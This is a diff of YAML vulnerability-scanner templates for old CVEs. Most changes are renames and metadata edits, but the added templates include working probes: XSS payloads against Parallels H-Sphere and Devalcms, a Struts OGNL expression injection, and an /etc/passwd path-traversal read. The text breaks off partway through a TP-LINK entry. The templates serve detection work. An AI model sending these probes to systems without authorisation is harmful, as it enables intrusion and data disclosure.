-  name: Wordpress Plugin Sniplets 1.2.2 - Cross-Site Scripting
+  name: WordPress Sniplets <=1.2.2 - Cross-Site Scripting
  author: dhiyaneshDK
-  severity: medium
+  severity: high
  description: |
-    Multiple cross-site scripting (XSS) vulnerabilities in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) text parameter to (a) warning.php, (b) notice.php, and (c) inset.php in view/sniplets/, and possibly (d) modules/execute.php; the (2) url parameter to (e) view/admin/submenu.php; and the (3) page parameter to (f) view/admin/pager.php.
+    WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.
  reference:
    - https://www.exploit-db.com/exploits/5194
    - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
    - https://nvd.nist.gov/vuln/detail/CVE-2008-1061
-    - http://secunia.com/advisories/29099
+    - http://securityreason.com/securityalert/3706
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
+    cvss-score: 7.2
+    cve-id: CVE-2008-1061
+    cwe-id: CWE-79
  tags: xss,wp-plugin,wp,edb,wpscan,cve,cve2008,wordpress,sniplets

 requests:
@@ -33,3 +38,6 @@ requests:
      - type: status
        status:
          - 200
+
+
+# Enhanced by mp on 2022/08/31
@@ -0,0 +1,47 @@
+id: CVE-2008-6465
+
+info:
+  name: Parallels H-Sphere 3.0.0 P9/3.1 P1 - Cross-Site Scripting
+  author: edoardottt
+  severity: medium
+  description: |
+    Parallels H-Sphere 3.0.0 P9 and 3.1 P1 contains multiple cross-site scripting vulnerabilities in login.php in webshell4. An attacker can inject arbitrary web script or HTML via the err, errorcode, and login parameters, thus allowing theft of cookie-based authentication credentials and launch of other attacks.
+  reference:
+    - http://www.xssing.com/index.php?x=3&y=65
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45254
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45252
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-6465
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2008-6465
+    cwe-id: CWE-80
+  metadata:
+    verified: true
+    shodan-query: title:"Parallels H-Sphere
+  tags: cve,cve2008,xss,parallels,h-sphere
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/webshell4/login.php?errcode=0&login=\%22%20onfocus=alert(document.domain);%20autofocus%20\%22&err=U'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '\" onfocus=alert(document.domain); autofocus'
+          - 'Please enter login name &amp; password'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/12/08
@@ -0,0 +1,43 @@
+id: CVE-2008-6982
+
+info:
+  name: Devalcms 1.4a - Cross-Site Scripting
+  author: arafatansari
+  severity: high
+  description: |
+    Devalcms 1.4a contains a cross-site scripting vulnerability in the currentpath parameter of the index.php file.
+  reference:
+    - https://www.exploit-db.com/exploits/6369
+    - http://sourceforge.net/projects/devalcms/files/devalcms/devalcms-1.4b/devalcms-1.4b.zip/download
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-6982
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
+    cvss-score: 7.2
+    cve-id: CVE-2008-6982
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: cve,cve2008,devalcms,xss,cms,edb
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'sub menu for: <script>alert(document.domain)</script>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 500
+
+# Enhanced by md on 2022/09/20
@@ -4,7 +4,7 @@ info:
  name: Joomla! Component Joomla! Flickr 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
-  description: A directory traversal vulnerability in joomlaflickr.php in the Joomla Flickr (com_joomlaflickr) component 1.0.3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
+  description: A directory traversal vulnerability in joomlaflickr.php in the Joomla! Flickr (com_joomlaflickr) component 1.0.3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  reference:
    - https://www.exploit-db.com/exploits/12085
    - https://www.cvedetails.com/cve/CVE-2010-1980
@@ -1,7 +1,7 @@
 id: CVE-2010-2033

 info:
-  name: Joomla Percha Categories Tree 0.6 - Local File Inclusion
+  name: Joomla! Percha Categories Tree 0.6 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
@@ -7,8 +7,8 @@ info:
  description: A directory traversal vulnerability in Chyrp 2.1 and earlier allows remote attackers to include and execute arbitrary local files via a ..%2F (encoded dot dot slash) in the action parameter to the default URI.
  reference:
    - https://www.exploit-db.com/exploits/35945
-    - https://www.cvedetails.com/cve/CVE-2011-2744
    - http://www.openwall.com/lists/oss-security/2011/07/13/6
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-2744
    - http://web.archive.org/web/20140723162411/http://secunia.com/advisories/45184/
  classification:
    cve-id: CVE-2011-2744
@@ -1,7 +1,7 @@
 id: CVE-2011-4618

 info:
-  name: Advanced Text Widget < 2.0.2 - Reflected Cross-Site Scripting
+  name: Advanced Text Widget < 2.0.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting (XSS) vulnerability in advancedtext.php in Advanced Text Widget plugin before 2.0.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
@@ -1,7 +1,7 @@
 id: CVE-2011-4624

 info:
-  name: GRAND FlAGallery 1.57 - Reflected Cross-Site Scripting
+  name: GRAND FlAGallery 1.57 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting (XSS) vulnerability in facebook.php in the GRAND FlAGallery plugin (flash-album-gallery) before 1.57 for WordPress allows remote attackers to inject arbitrary web script or HTML via the i parameter.
@@ -7,9 +7,9 @@ info:
  description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  reference:
    - https://www.exploit-db.com/exploits/36598
-    - https://www.cvedetails.com/cve/CVE-2011-4804
    - http://web.archive.org/web/20140802122115/http://secunia.com/advisories/46844/
    - http://web.archive.org/web/20210121214308/https://www.securityfocus.com/bid/48944/
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-4804
  remediation: Upgrade to a supported version.
  classification:
    cve-id: CVE-2011-4804
@@ -1,7 +1,7 @@
 id: CVE-2011-4926

 info:
-  name: Adminimize 1.7.22 - Reflected Cross-Site Scripting
+  name: Adminimize 1.7.22 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in adminimize/adminimize_page.php in the Adminimize plugin before 1.7.22 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
@@ -1,7 +1,7 @@
 id: CVE-2011-5106

 info:
-  name: WordPress Plugin Flexible Custom Post Type < 0.1.7 - Reflected Cross-Site Scripting
+  name: WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in edit-post.php in the Flexible Custom Post Type plugin before 0.1.7 for WordPress allows remote attackers to inject arbitrary web script or HTML via the id parameter.
@@ -1,7 +1,7 @@
 id: CVE-2011-5107

 info:
-  name: Alert Before Your Post <= 0.1.1 - Reflected Cross-Site Scripting
+  name: Alert Before Your Post <= 0.1.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting  vulnerability in post_alert.php in Alert Before Your Post plugin, possibly 0.1.1 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the name parameter.
@@ -1,7 +1,7 @@
 id: CVE-2011-5179

 info:
-  name: Skysa App Bar 1.04 - Reflected Cross-Site Scripting
+  name: Skysa App Bar 1.04 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in skysa-official/skysa.php in Skysa App Bar Integration plugin, possibly before 1.04, for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.
@@ -1,7 +1,7 @@
 id: CVE-2011-5181

 info:
-  name: ClickDesk Live Support Live Chat 2.0 - Reflected Cross-Site Scripting
+  name: ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in clickdesk.php in ClickDesk Live Support - Live Chat plugin 2.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the cdwidgetid parameter.
@@ -1,7 +1,7 @@
 id: CVE-2011-5265

 info:
-  name: Featurific For WordPress 1.6.2 - Reflected Cross-Site Scripting
+  name: Featurific For WordPress 1.6.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in cached_image.php in the Featurific For WordPress plugin 1.6.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the snum parameter.
@@ -0,0 +1,39 @@
+id: CVE-2012-0394
+
+info:
+  name: Apache Struts Dev Mode OGNL Injection
+  author: tess
+  severity: critical
+  description: |
+    The DebuggingInterceptor component in Apache Struts before 2.3.1.1, when developer mode is used, allows remote attackers to execute arbitrary commands via unspecified vectors. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
+  reference:
+    - https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
+    - https://www.exploit-db.com/exploits/31434
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
+    - http://www.exploit-db.com/exploits/18329
+  classification:
+    cve-id: CVE-2012-0394
+  metadata:
+    shodan-query: html:"Struts Problem Report"
+    verified: "true"
+  tags: ognl,injection,edb,cve,cve2012,apache,struts
+
+variables:
+  first: "{{rand_int(1000, 9999)}}"
+  second: "{{rand_int(1000, 9999)}}"
+  result: "{{to_number(first)*to_number(second)}}"
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '{{result}}'
+
+      - type: status
+        status:
+          - 200
@@ -7,9 +7,9 @@ info:
  description: An absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter.
  reference:
    - https://packetstormsecurity.com/files/108631/
-    - https://www.cvedetails.com/cve/CVE-2012-0896
    - http://web.archive.org/web/20140804110141/http://secunia.com/advisories/47529/
    - http://plugins.trac.wordpress.org/changeset/488883/count-per-day
+    - https://https://nvd.nist.gov/vuln/detail/CVE-2012-0896
  classification:
    cve-id: CVE-2012-0896
  metadata:
@@ -1,7 +1,7 @@
 id: CVE-2012-0901

 info:
-  name: YouSayToo auto-publishing 1.0 - Reflected Cross-Site Scripting
+  name: YouSayToo auto-publishing 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in yousaytoo.php in YouSayToo auto-publishing plugin 1.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.
@@ -1,7 +1,7 @@
 id: CVE-2012-1835

 info:
-  name: WordPress Plugin All-in-One Event Calendar 1.4 - Reflected Cross-Site Scripting
+  name: WordPress Plugin All-in-One Event Calendar 1.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in the All-in-One Event Calendar plugin 1.4 and 1.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) title parameter to app/view/agenda-widget-form.php; (2) args, (3) title, (4) before_title, or (5) after_title parameter to app/view/agenda-widget.php; (6) button_value parameter to app/view/box_publish_button.php; or (7) msg parameter to /app/view/save_successful.php.
@@ -1,7 +1,7 @@
 id: CVE-2012-2371

 info:
-  name: WP-FaceThumb 0.1 - Reflected Cross-Site Scripting
+  name: WP-FaceThumb 0.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in index.php in the WP-FaceThumb plugin 0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the pagination_wp_facethumb parameter.
@@ -1,7 +1,7 @@
 id: CVE-2012-4242

 info:
-  name: WordPress Plugin MF Gig Calendar 0.9.2 - Reflected Cross-Site Scripting
+  name: WordPress Plugin MF Gig Calendar 0.9.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the MF Gig Calendar plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the query string to the calendar page.
@@ -1,7 +1,7 @@
 id: CVE-2012-4273

 info:
-  name: 2 Click Socialmedia Buttons < 0.34 - Reflected Cross Site Scripting
+  name: 2 Click Socialmedia Buttons < 0.34 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in libs/xing.php in the 2 Click Social Media Buttons plugin before 0.34 for WordPress allows remote attackers to inject arbitrary web script or HTML via the xing-url parameter.
@@ -1,7 +1,7 @@
 id: CVE-2012-4768

 info:
-  name: WordPress Plugin Download Monitor < 3.3.5.9 - Reflected Cross-Site Scripting
+  name: WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the Download Monitor plugin before 3.3.5.9 for WordPress allows remote attackers to inject arbitrary web script or HTML via the dlsearch parameter to the default URI.
@@ -1,7 +1,7 @@
 id: CVE-2012-4889

 info:
-  name: ManageEngine Firewall Analyzer 7.2 - Reflected Cross Site Scripting
+  name: ManageEngine Firewall Analyzer 7.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in ManageEngine Firewall Analyzer 7.2 allow remote attackers to inject arbitrary web script or HTML via the (1) subTab or (2) tab parameter to createAnomaly.do; (3) url, (4) subTab, or (5) tab parameter to mindex.do; (6) tab parameter to index2.do; or (7) port parameter to syslogViewer.do.
@@ -1,7 +1,7 @@
 id: CVE-2012-5913

 info:
-  name: WordPress Integrator 1.32 - Reflected Cross-Site Scripting
+  name: WordPress Integrator 1.32 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in wp-integrator.php in the WordPress Integrator module 1.32 for WordPress allows remote attackers to inject arbitrary web script or HTML via the redirect_to parameter to wp-login.php.
@@ -1,7 +1,7 @@
 id: CVE-2013-2287

 info:
-  name: WordPress Plugin Uploader 1.0.4 - Reflected Cross-Site Scripting
+  name: WordPress Plugin Uploader 1.0.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting  vulnerabilities in views/notify.php in the Uploader plugin 1.0.4 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) notify or (2) blog parameter.
@@ -1,7 +1,7 @@
 id: CVE-2013-3526

 info:
-  name: WordPress Plugin Traffic Analyzer - 'aoid' Reflected Cross-Site Scripting
+  name: WordPress Plugin Traffic Analyzer - 'aoid' Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in js/ta_loaded.js.php in the Traffic Analyzer plugin, possibly 3.3.2 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the aoid parameter."
@@ -1,7 +1,7 @@
 id: CVE-2013-4117

 info:
-  name: WordPress Plugin Category Grid View Gallery 2.3.1 - Reflected Cross-Site Scripting
+  name: WordPress Plugin Category Grid View Gallery 2.3.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in includes/CatGridPost.php in the Category Grid View Gallery plugin 2.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ID parameter.
@@ -1,7 +1,7 @@
 id: CVE-2013-4625

 info:
-  name: WordPress Plugin Duplicator < 0.4.5 - Reflected Cross-Site Scripting
+  name: WordPress Plugin Duplicator < 0.4.5 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting  vulnerability in files/installer.cleanup.php in the Duplicator plugin before 0.4.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the package parameter.
@@ -8,7 +8,6 @@ info:
  reference:
    - https://www.exploit-db.com/exploits/26955
    - https://nvd.nist.gov/vuln/detail/CVE-2013-5979
-    - https://www.cvedetails.com/cve/CVE-2013-5979
    - https://bugs.launchpad.net/xibo/+bug/1093967
  classification:
    cve-id: CVE-2013-5979
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2013-6281
    cwe-id: CWE-79
  metadata:
-    google-dork: inurl:/wp-content/plugins/dhtmlxspreadsheet
+    google-query: inurl:/wp-content/plugins/dhtmlxspreadsheet
    verified: "true"
  tags: wp,wpscan,cve,cve2013,wordpress,xss,wp-plugin

@@ -7,7 +7,6 @@ info:
  description: A directory traversal vulnerability in DomPHP 0.83 and earlier allows remote attackers to have unspecified impacts via a .. (dot dot) in the url parameter to photoalbum/index.php.
  reference:
    - https://www.exploit-db.com/exploits/30865
-    - https://www.cvedetails.com/cve/CVE-2014-10037
    - https://nvd.nist.gov/vuln/detail/CVE-2014-10037
    - http://www.exploit-db.com/exploits/30865
  classification:
@@ -1,7 +1,7 @@
 id: CVE-2014-4513

 info:
-  name: ActiveHelper LiveHelp Server 3.1.0 - Reflected Cross-Site Scripting
+  name: ActiveHelper LiveHelp Server 3.1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in server/offline.php in the ActiveHelper LiveHelp Live Chat plugin 3.1.0 and earlier for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) MESSAGE, (2) EMAIL, or (3) NAME parameter.
@@ -1,7 +1,7 @@
 id: CVE-2014-4535

 info:
-  name: Import Legacy Media <= 0.1 - Unauthenticated Reflected Cross-Site Scripting
+  name: Import Legacy Media <= 0.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the Import Legacy Media plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.
@@ -14,7 +14,7 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2014-4535
    cwe-id: CWE-79
-  tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss
+  tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss,unauth

 requests:
  - method: GET
@@ -1,7 +1,7 @@
 id: CVE-2014-4536

 info:
-  name: Infusionsoft Gravity Forms Add-on < 1.5.7 - Unauthenticated Reflected Cross-Site Scripting
+  name: Infusionsoft Gravity Forms Add-on < 1.5.7 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in tests/notAuto_test_ContactService_pauseCampaign.php in the Infusionsoft Gravity Forms plugin before 1.5.6 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) go, (2) contactId, or (3) campaignId parameter.
@@ -17,7 +17,7 @@ info:
    cwe-id: CWE-79
  metadata:
    google-query: inurl:"/wp-content/plugins/infusionsoft/Infusionsoft/"
-  tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss
+  tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss,unauth

 requests:
  - method: GET
@@ -1,7 +1,7 @@
 id: CVE-2014-4539

 info:
-  name: Movies <= 0.6 - Unauthenticated Reflected Cross-Site Scripting
+  name: Movies <= 0.6 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the Movies plugin 0.6 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.
@@ -14,7 +14,7 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2014-4539
    cwe-id: CWE-79
-  tags: wordpress,wp-plugin,xss,wpscan,cve,cve2014
+  tags: wordpress,wp-plugin,xss,wpscan,cve,cve2014,unauth

 requests:
  - method: GET
@@ -1,7 +1,7 @@
 id: CVE-2014-4544

 info:
-  name: Podcast Channels < 0.28 - Unauthenticated Reflected Cross-Site Scripting
+  name: Podcast Channels < 0.28 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: The Podcast Channels WordPress plugin was affected by an unauthenticated reflected cross-site scripting security vulnerability.
@@ -14,7 +14,7 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2014-4544
    cwe-id: CWE-79
-  tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss
+  tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss,unauth

 requests:
  - method: GET
@@ -1,7 +1,7 @@
 id: CVE-2014-4550

 info:
-  name: Shortcode Ninja <= 1.4 - Unauthenticated Reflected Cross-Site Scripting
+  name: Shortcode Ninja <= 1.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter.
@@ -16,7 +16,7 @@ info:
    cwe-id: CWE-79
  metadata:
    google-query: inurl:"/wp-content/plugins/shortcode-ninja"
-  tags: wordpress,wp-plugin,xss,wpscan,cve,cve2014
+  tags: wordpress,wp-plugin,xss,wpscan,cve,cve2014,unauth

 requests:
  - method: GET
@@ -1,7 +1,7 @@
 id: CVE-2014-4558

 info:
-  name: WooCommerce Swipe <= 2.7.1 - Unauthenticated Reflected Cross-Site Scripting
+  name: WooCommerce Swipe <= 2.7.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in test-plugin.php in the Swipe Checkout for WooCommerce plugin 2.7.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the api_url parameter.
@@ -14,7 +14,7 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2014-4558
    cwe-id: CWE-79
-  tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss,woocommerce
+  tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss,woocommerce,unauth

 requests:
  - method: GET
@@ -1,7 +1,7 @@
 id: CVE-2014-4561

 info:
-  name: Ultimate Weather Plugin <= 1.0 - Unauthenticated Reflected Cross-Site Scripting
+  name: Ultimate Weather Plugin <= 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: The ultimate-weather plugin 1.0 for WordPress contains a cross-site scripting vulnerability.
@@ -14,7 +14,7 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2014-4561
    cwe-id: CWE-79
-  tags: cve,cve2014,wordpress,wp-plugin,xss,weather,wpscan
+  tags: cve,cve2014,wordpress,wp-plugin,xss,weather,wpscan,unauth

 requests:
  - method: GET
@@ -1,7 +1,7 @@
 id: CVE-2014-4592

 info:
-  name: WP Planet <= 0.1 - Unauthenticated Reflected Cross-Site Scripting
+  name: WP Planet <= 0.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in rss.class/scripts/magpie_debug.php in the WP-Planet plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the url parameter.
@@ -16,7 +16,7 @@ info:
    cwe-id: CWE-79
  metadata:
    google-query: inurl:"/wp-content/plugins/wp-planet"
-  tags: cve2014,wordpress,wp-plugin,xss,wpscan,cve
+  tags: cve2014,wordpress,wp-plugin,xss,wpscan,cve,unauth

 requests:
  - method: GET
@@ -1,18 +1,20 @@
 id: CVE-2014-4942

 info:
-  name: WP EasyCart - Information Disclosure
+  name: WordPress EasyCart <2.0.6 - Information Disclosure
  author: DhiyaneshDk
  severity: low
  description: |
-    The EasyCart (wp-easycart) plugin before 2.0.6 for WordPress allows remote attackers to obtain configuration information via a direct request to inc/admin/phpinfo.php, which calls the phpinfo function.
+    WordPress EasyCart plugin before 2.0.6 contains an information disclosure vulnerability. An attacker can obtain configuration information via a direct request to inc/admin/phpinfo.php, which calls the phpinfo function.
  reference:
    - https://wpscan.com/vulnerability/64ea4135-eb26-4dea-a13f-f4c1deb77150
    - https://codevigilant.com/disclosure/wp-plugin-wp-easycart-information-disclosure
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4942
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4942
  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    cve-id: CVE-2014-4942
+    cwe-id: CWE-200
  tags: wpscan,cve,cve2014,wordpress,wp-plugin,wp,phpinfo,disclosure

 requests:
@@ -39,3 +41,5 @@ requests:
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
+
+# Enhanced by mp on 2022/09/30
@@ -8,7 +8,6 @@ info:
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-5368
    - https://www.exploit-db.com/exploits/39287
-    - https://www.cvedetails.com/cve/CVE-2014-5368
    - http://seclists.org/oss-sec/2014/q3/417
  classification:
    cve-id: CVE-2014-5368
@@ -0,0 +1,36 @@
+id: CVE-2014-8676
+
+info:
+  name: Simple Online Planning Tool <1.3.2 - Local File Inclusion
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    SOPlanning <1.32 contain a directory traversal in the file_get_contents function via a .. (dot dot) in the fichier parameter.
+  reference:
+    - https://packetstormsecurity.com/files/132654/Simple-Online-Planning-Tool-1.3.2-XSS-SQL-Injection-Traversal.html
+    - https://www.exploit-db.com/exploits/37604/
+    - http://seclists.org/fulldisclosure/2015/Jul/44
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-8676
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cve-id: CVE-2014-8676
+    cwe-id: CWE-22
+  tags: packetstorm,edb,seclists,cve,cve2014,soplanning,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/process/feries.php?fichier=../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by cs on 2022/09/09
@@ -3,7 +3,7 @@ id: CVE-2014-8682
 info:
  name: Gogs (Go Git Service) - SQL Injection
  author: dhiyaneshDK,daffainfo
-  severity: high
+  severity: critical
  description: Multiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-8682
@@ -8,7 +8,6 @@ info:
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-8799
    - https://www.exploit-db.com/exploits/35346
-    - https://www.cvedetails.com/cve/CVE-2014-8799
    - https://wordpress.org/plugins/dukapress/changelog/
  classification:
    cve-id: CVE-2014-8799
@@ -1,7 +1,7 @@
 id: CVE-2014-9094

 info:
-  name: WordPress DZS-VideoGallery Plugin Reflected Cross-Site Scripting
+  name: WordPress DZS-VideoGallery Plugin Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in deploy/designer/preview.php in the Digital Zoom Studio (DZS) Video Gallery plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) swfloc or (2) designrand parameter.
@@ -1,7 +1,7 @@
 id: CVE-2014-9444

 info:
-  name: Frontend Uploader <= 0.9.2 - Unauthenticated Cross-Site Scripting
+  name: Frontend Uploader <= 0.9.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: The Frontend Uploader WordPress plugin prior to v.0.9.2 was affected by an unauthenticated Cross-Site Scripting security vulnerability.
@@ -12,7 +12,7 @@ info:
    - http://web.archive.org/web/20210122092924/https://www.securityfocus.com/bid/71808/
  classification:
    cve-id: CVE-2014-9444
-  tags: wp-plugin,xss,wpscan,packetstorm,cve,cve2014,wordpress
+  tags: wp-plugin,xss,wpscan,packetstorm,cve,cve2014,wordpress,unauth

 requests:
  - method: GET
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2015-1579
    cwe-id: CWE-22
  metadata:
-    google-dork: inurl:/wp-content/plugins/revslider
+    google-query: inurl:/wp-content/plugins/revslider
  tags: wordpress,wp-plugin,lfi,revslider,wp,wpscan,cve,cve2015

 requests:
@@ -0,0 +1,39 @@
+id: CVE-2015-3035
+
+info:
+  name: TP-LINK - Local File Inclusion
+  author: 0x_Akoko
+  severity: high
+  description: |
+    TP-LINK is susceptible to local file inclusion in these products: Archer C5 (1.2) with firmware before 150317, Archer C7 (2.0) with firmware before 150304, and C8 (1.0) with firmware before 150316, Archer C9 (1.0), TL-WDR3500 (1.0), TL-WDR3600 (1.0), and TL-WDR4300 (1.0) with firmware before 150302, TL-WR740N (5.0) and TL-WR741ND (5.0) with firmware before 150312, and TL-WR841N (9.0), TL-WR841N (10.0), TL-WR841ND (9.0), and TL-WR841ND (10.0) with firmware before 150310.  Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed.
+  reference:
+    - https://seclists.org/fulldisclosure/2015/Apr/26
